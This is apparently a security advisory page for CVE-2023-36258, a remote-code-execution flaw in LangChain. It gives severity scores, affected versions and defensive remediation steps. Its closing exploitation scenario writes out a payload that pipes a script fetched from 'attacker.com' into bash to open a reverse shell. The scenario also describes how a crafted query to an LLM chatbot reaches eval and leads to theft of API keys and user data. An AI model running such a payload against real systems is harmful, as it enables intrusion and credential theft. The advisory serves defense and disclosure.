CVE-2023-36258 — CRITICAL (CVSS 9.8) AI Security Vulnerability

CISO Take

Any LangChain deployment below 0.0.247 is a critical RCE risk—no authentication or user interaction required. Patch immediately to langchain>=0.0.247 and treat all pre-patch deployments as compromised if they processed external input. Prioritize internet-facing LangChain apps, agent frameworks, and RAG pipelines where attacker-controlled strings reach chain execution.

Risk Assessment

Severity is maximal: CVSS 9.8, network-accessible, zero privileges, zero user interaction, full confidentiality/integrity/availability impact. EPSS is low (0.49%) but this is a well-documented, public exploit with GitHub PoC. LangChain's widespread adoption in LLM apps, agents, and RAG systems means the blast radius is broad. Any org that built AI tooling in 2023 and hasn't audited dependency versions is likely exposed.

Affected Systems

Package	Ecosystem	Vulnerable Range	Patched
langchain	pip	—	No patch
136.3K OpenSSF 6.4 2.6K dependents Pushed today 16% patched ~256d to patch Full package profile →
langchain	pip	< 0.0.247	`0.0.247`
136.3K OpenSSF 6.4 2.6K dependents Pushed today 16% patched ~256d to patch Full package profile →

Severity & Risk

CVSS 3.1

9.8 / 10

EPSS

0.6%

chance of exploitation in 30 days

Higher than 70% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

Recommended Action

7 steps

Patch: upgrade langchain to >=0.0.247 immediately.
Audit: run pip show langchain across all environments including dev, staging, CI/CD.
Isolate: run LangChain workloads in containers with minimal filesystem/network permissions and no root.
Restrict: disable Python code evaluation chains (PALChain, PythonREPLTool, LLMMathChain) unless strictly required.
Detect: alert on process spawns (os.system, subprocess) originating from LangChain worker processes.
Network: block outbound connections from LangChain processes unless explicitly needed.
Rotate credentials if pre-patch deployments processed external input.

CISA SSVC Assessment

Decision Attend

Exploitation poc

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Code Execution Supply Chain Data Extraction Framework Agent RAG AML.T0010.001 - AI Software AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0072 - Reverse Shell

Compliance Impact

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system

ISO 42001

A.6.2 - AI risk treatment A.8.5 - AI system security

NIST AI RMF

MANAGE 2.2 - Mechanisms to sustain oversight of AI risks MAP 5.1 - Likelihood and magnitude of risks from third-party AI

OWASP LLM Top 10

LLM05 - Supply Chain Vulnerabilities LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2023-36258?

Any LangChain deployment below 0.0.247 is a critical RCE risk—no authentication or user interaction required. Patch immediately to langchain>=0.0.247 and treat all pre-patch deployments as compromised if they processed external input. Prioritize internet-facing LangChain apps, agent frameworks, and RAG pipelines where attacker-controlled strings reach chain execution.

Is CVE-2023-36258 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2023-36258, increasing the risk of exploitation.

How to fix CVE-2023-36258?

1. Patch: upgrade langchain to >=0.0.247 immediately. 2. Audit: run `pip show langchain` across all environments including dev, staging, CI/CD. 3. Isolate: run LangChain workloads in containers with minimal filesystem/network permissions and no root. 4. Restrict: disable Python code evaluation chains (PALChain, PythonREPLTool, LLMMathChain) unless strictly required. 5. Detect: alert on process spawns (os.system, subprocess) originating from LangChain worker processes. 6. Network: block outbound connections from LangChain processes unless explicitly needed. 7. Rotate credentials if pre-patch deployments processed external input.

What systems are affected by CVE-2023-36258?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, RAG pipelines, LLM application backends, chatbot systems, training pipelines.

What is the CVSS score for CVE-2023-36258?

CVE-2023-36258 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.63%.

Technical Details

NVD Description

An issue in LangChain before 0.0.236 allows an attacker to execute arbitrary code because Python code with os.system, exec, or eval can be used.

Exploitation Scenario

An attacker targeting a company's LLM-powered customer support chatbot (built on LangChain pre-0.0.236) crafts a query containing Python-executable syntax such as `__import__('os').system('curl attacker.com/shell.sh | bash')`. The input is passed unsanitized into a LangChain chain that internally calls eval() or exec() to process the expression. The OS command executes with the privileges of the LangChain server process, giving the attacker a reverse shell. From there they extract the OpenAI API key, Pinecone/Weaviate credentials, and any PII stored in the RAG database—all without authentication.